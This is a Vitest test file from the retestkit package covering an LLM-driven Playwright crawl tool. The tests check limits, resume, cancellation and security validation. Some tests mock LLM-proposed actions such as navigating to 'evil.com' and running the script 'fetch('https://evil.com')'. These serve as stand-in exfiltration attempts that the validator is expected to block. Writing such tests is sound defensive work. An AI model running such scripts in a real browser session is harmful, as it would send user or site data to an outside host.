retestkit 1.4.1

package/src/tools/webtest/crawl.test.ts

@@ -0,0 +1,834 @@
+/**
+ * Unit Tests for webtest_crawl_app tool (Phase 4.13)
+ */
+
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { createCrawlTool } from "./crawl.js";
+import {
+  createMockContext,
+  type MockContext,
+} from "../../test-utils/index.js";
+
+describe("webtest_crawl_app", () => {
+  let context: MockContext;
+  let tool: ReturnType<typeof createCrawlTool>;
+
+  beforeEach(() => {
+    context = createMockContext();
+    tool = createCrawlTool(() => context as any);
+  });
+
+  describe("tool metadata", () => {
+    it("has correct name", () => {
+      expect(tool.name).toBe("webtest_crawl_app");
+    });
+
+    it("has a description", () => {
+      expect(tool.description).toBeDefined();
+      expect(tool.description.length).toBeGreaterThan(0);
+    });
+
+    it("has an input schema", () => {
+      expect(tool.inputSchema).toBeDefined();
+    });
+  });
+
+  describe("handler - validation", () => {
+    it("returns error for non-existent workspace", async () => {
+      context.workspaceManager.workspaceExists = vi.fn().mockResolvedValue(false);
+
+      const result = await tool.handler({
+        analysisId: "00000000-0000-0000-0000-000000000000",
+        goal: "Explore the site",
+      });
+
+      expect(result.isError).toBe(true);
+      expect(result.content[0].text).toContain("not found");
+    });
+
+    it("validates analysisId format via schema", () => {
+      // The schema requires UUID format
+      const schema = tool.inputSchema;
+      expect(schema).toBeDefined();
+    });
+
+    it("requires goal parameter", () => {
+      const schema = tool.inputSchema;
+      expect(schema).toBeDefined();
+    });
+  });
+
+  describe("handler - crawl execution", () => {
+    beforeEach(async () => {
+      // Set up successful sampling that completes immediately
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Goal achieved",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await context.playwrightClient.connect();
+    });
+
+    it("creates crawl in workspace", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(result.isError).toBeFalsy();
+      expect(context.workspaceManager.createCrawl).toHaveBeenCalled();
+    });
+
+    it("connects to playwright if not connected", async () => {
+      context.playwrightClient.isConnected = vi.fn().mockReturnValue(false);
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(context.playwrightClient.connect).toHaveBeenCalled();
+    });
+
+    it("navigates to workspace URL", async () => {
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(context.playwrightClient.navigate).toHaveBeenCalled();
+    });
+
+    it("captures page snapshot", async () => {
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(context.playwrightClient.snapshot).toHaveBeenCalled();
+    });
+
+    it("returns crawlId in response", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(result.isError).toBeFalsy();
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.crawlId).toBeDefined();
+    });
+
+    it("returns status completed when goal achieved", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(result.isError).toBeFalsy();
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.status).toBe("completed");
+      expect(content.goalComplete).toBe(true);
+    });
+
+    it("returns next steps after completion", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.nextSteps).toBeInstanceOf(Array);
+      expect(content.nextSteps.length).toBeGreaterThan(0);
+    });
+  });
+
+  describe("handler - limits", () => {
+    beforeEach(async () => {
+      await context.playwrightClient.connect();
+    });
+
+    it("uses workspace limits by default", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(context.workspaceManager.createCrawl).toHaveBeenCalledWith(
+        context.testAnalysisId,
+        expect.objectContaining({
+          limits: expect.objectContaining({
+            maxSteps: expect.any(Number),
+          }),
+        })
+      );
+    });
+
+    it("respects custom limits", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+        limits: { maxSteps: 5 },
+      });
+
+      expect(context.workspaceManager.createCrawl).toHaveBeenCalledWith(
+        context.testAnalysisId,
+        expect.objectContaining({
+          limits: expect.objectContaining({
+            maxSteps: 5,
+          }),
+        })
+      );
+    });
+  });
+
+  describe("handler - fallback mode", () => {
+    beforeEach(async () => {
+      context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
+      await context.playwrightClient.connect();
+    });
+
+    it("returns prompt when sampling unavailable", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(result.isError).toBeFalsy();
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.needsManualInput).toBe(true);
+      expect(content.prompt).toBeDefined();
+    });
+
+    it("includes instructions for manual mode", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.instructions).toContain("manualNextActions");
+    });
+
+    it("includes partial results info", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.partialResults).toBeDefined();
+    });
+  });
+
+  describe("handler - manual actions", () => {
+    beforeEach(async () => {
+      context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
+      await context.playwrightClient.connect();
+    });
+
+    it("executes manual actions when provided", async () => {
+      // First call triggers the manual flow and executes the action
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+        manualNextActions: [
+          { tool: "click", args: { element: "Submit button", ref: "e1" } },
+        ],
+      });
+
+      expect(context.playwrightClient.click).toHaveBeenCalledWith("Submit button", "e1");
+    });
+
+    it("validates manual actions for security", async () => {
+      context.securityValidator.validateAction = vi.fn().mockReturnValue({
+        valid: false,
+        reason: "External domain not allowed",
+      });
+
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+        manualNextActions: [
+          { tool: "navigate", args: { url: "https://evil.com" } },
+        ],
+      });
+
+      expect(result.isError).toBe(true);
+      expect(result.content[0].text).toContain("Security error");
+    });
+  });
+
+  describe("handler - cancellation", () => {
+    it("handles cancellation gracefully", async () => {
+      // Set up to throw cancellation error
+      const { CancellationError } = await import("../../progress/index.js");
+      context.cancellationRegistry.checkCancelled = vi.fn().mockImplementation((id) => {
+        throw new CancellationError(id);
+      });
+
+      await context.playwrightClient.connect();
+
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(result.isError).toBeFalsy();
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.status).toBe("cancelled");
+    });
+
+    it("registers for cancellation on start", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await context.playwrightClient.connect();
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(context.cancellationRegistry.register).toHaveBeenCalled();
+    });
+
+    it("unregisters cancellation on completion", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await context.playwrightClient.connect();
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(context.cancellationRegistry.unregister).toHaveBeenCalled();
+    });
+  });
+
+  describe("handler - progress reporting", () => {
+    beforeEach(async () => {
+      await context.playwrightClient.connect();
+    });
+
+    it("emits progress during crawl", async () => {
+      let stepCount = 0;
+      context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
+        stepCount++;
+        if (stepCount >= 2) {
+          return {
+            success: true,
+            data: {
+              actions: [],
+              reasoning: "Done",
+              goalProgress: "Complete",
+              goalComplete: true,
+            },
+          };
+        }
+        return {
+          success: true,
+          data: {
+            actions: [{ tool: "click", args: { selector: "a" } }],
+            reasoning: "Exploring",
+            goalProgress: `Step ${stepCount}`,
+            goalComplete: false,
+          },
+        };
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+      });
+
+      expect(context.progressEmitter.emit).toHaveBeenCalled();
+    });
+  });
+
+  describe("handler - checkpoint and resume", () => {
+    beforeEach(async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await context.playwrightClient.connect();
+    });
+
+    it("supports resume flag", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore the site",
+        resume: true,
+      });
+
+      expect(result.isError).toBeFalsy();
+      expect(context.workspaceManager.loadCheckpoint).toHaveBeenCalled();
+    });
+
+    it("continues from checkpoint when available", async () => {
+      context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue({
+        step: 5,
+        timestamp: new Date().toISOString(),
+        visitedUrls: ["https://shop.example.com", "https://shop.example.com/products"],
+        currentUrl: "https://shop.example.com/products",
+        goalProgress: "Found products",
+        canResume: true,
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Continue exploring",
+        resume: true,
+      });
+
+      // Should navigate to checkpoint URL
+      expect(context.playwrightClient.navigate).toHaveBeenCalled();
+    });
+
+    it("starts fresh when no checkpoint available", async () => {
+      context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue(null);
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+        resume: true,
+      });
+
+      // Should still work
+      expect(context.playwrightClient.navigate).toHaveBeenCalled();
+    });
+  });
+
+  describe("handler - security validation", () => {
+    beforeEach(async () => {
+      await context.playwrightClient.connect();
+    });
+
+    it("validates actions against allowed domains", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [{ tool: "navigate", args: { url: "https://evil.com" } }],
+          reasoning: "Navigating",
+          goalProgress: "Exploring",
+          goalComplete: false,
+        },
+      }).mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      context.securityValidator.validateAction = vi.fn().mockReturnValue({
+        valid: false,
+        reason: "External domain not allowed",
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.securityValidator.validateAction).toHaveBeenCalled();
+    });
+
+    it("detects exfiltration attempts", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [{ tool: "evaluate", args: { script: "fetch('https://evil.com')" } }],
+          reasoning: "Running script",
+          goalProgress: "Testing",
+          goalComplete: false,
+        },
+      }).mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      context.securityValidator.detectExfiltrationAttempt = vi.fn().mockReturnValue({
+        detected: true,
+        type: "external_request",
+        evidence: "POST to external",
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.securityValidator.detectExfiltrationAttempt).toHaveBeenCalled();
+    });
+
+    it("checks for injection in page content", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.securityValidator.detectInjectionAttempt).toHaveBeenCalled();
+    });
+  });
+
+  describe("handler - action execution", () => {
+    beforeEach(async () => {
+      await context.playwrightClient.connect();
+    });
+
+    it("executes click actions", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [{ tool: "click", args: { element: "Submit button", ref: "e1" } }],
+          reasoning: "Clicking button",
+          goalProgress: "Clicking",
+          goalComplete: false,
+        },
+      }).mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.playwrightClient.click).toHaveBeenCalledWith("Submit button", "e1");
+    });
+
+    it("executes type actions", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [{ tool: "type", args: { element: "Input field", ref: "e2", text: "hello" } }],
+          reasoning: "Typing",
+          goalProgress: "Typing",
+          goalComplete: false,
+        },
+      }).mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.playwrightClient.type).toHaveBeenCalledWith("Input field", "e2", "hello", { submit: undefined, slowly: undefined });
+    });
+
+    it("executes navigate actions", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [{ tool: "navigate", args: { url: "https://shop.example.com/products" } }],
+          reasoning: "Navigating",
+          goalProgress: "Navigating",
+          goalComplete: false,
+        },
+      }).mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.playwrightClient.navigate).toHaveBeenCalledWith("https://shop.example.com/products");
+    });
+
+    it("records actions in workspace", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [{ tool: "click", args: { selector: "a" } }],
+          reasoning: "Clicking link",
+          goalProgress: "Exploring",
+          goalComplete: false,
+        },
+      }).mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.workspaceManager.recordAction).toHaveBeenCalled();
+    });
+  });
+
+  describe("handler - blocked state", () => {
+    beforeEach(async () => {
+      await context.playwrightClient.connect();
+    });
+
+    it("handles blocked response from sampling", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Cannot proceed",
+          goalProgress: "Blocked",
+          goalComplete: false,
+          blocked: true,
+          blockedReason: "Login required",
+        },
+      });
+
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(result.isError).toBeFalsy();
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.blocked).toBe(true);
+      expect(content.blockedReason).toBe("Login required");
+    });
+
+    it("handles sampling failure", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: false,
+        error: "LLM error",
+      });
+
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(result.isError).toBeFalsy();
+      const content = JSON.parse(result.content[0].text!);
+      expect(content.blocked).toBe(true);
+    });
+  });
+
+  describe("handler - resource notifications", () => {
+    beforeEach(async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await context.playwrightClient.connect();
+    });
+
+    it("notifies on crawl creation", async () => {
+      vi.clearAllMocks();
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
+    });
+
+    it("notifies on page save", async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [{ tool: "click", args: { selector: "a" } }],
+          reasoning: "Exploring",
+          goalProgress: "Exploring",
+          goalComplete: false,
+        },
+      }).mockResolvedValueOnce({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      vi.clearAllMocks();
+
+      await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      // Multiple notifications: crawl create, page save, completion
+      expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
+    });
+  });
+
+  describe("handler - error handling", () => {
+    it("handles playwright connection errors", async () => {
+      context.playwrightClient.isConnected = vi.fn().mockReturnValue(false);
+      context.playwrightClient.connect = vi.fn().mockRejectedValue(
+        new Error("Connection failed")
+      );
+
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(result.isError).toBe(true);
+      expect(result.content[0].text).toContain("Error");
+    });
+
+    it("handles navigation errors", async () => {
+      context.playwrightClient.navigate = vi.fn().mockRejectedValue(
+        new Error("Navigation timeout")
+      );
+
+      await context.playwrightClient.connect();
+
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+      });
+
+      expect(result.isError).toBe(true);
+    });
+  });
+
+  describe("handler - strategy", () => {
+    beforeEach(async () => {
+      context.samplingClient.createMessage = vi.fn().mockResolvedValue({
+        success: true,
+        data: {
+          actions: [],
+          reasoning: "Done",
+          goalProgress: "Complete",
+          goalComplete: true,
+        },
+      });
+
+      await context.playwrightClient.connect();
+    });
+
+    it("accepts goal_directed strategy", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+        strategy: "goal_directed",
+      });
+
+      expect(result.isError).toBeFalsy();
+    });
+
+    it("accepts breadth_first strategy", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+        strategy: "breadth_first",
+      });
+
+      expect(result.isError).toBeFalsy();
+    });
+
+    it("accepts depth_first strategy", async () => {
+      const result = await tool.handler({
+        analysisId: context.testAnalysisId,
+        goal: "Explore",
+        strategy: "depth_first",
+      });
+
+      expect(result.isError).toBeFalsy();
+    });
+  });
+});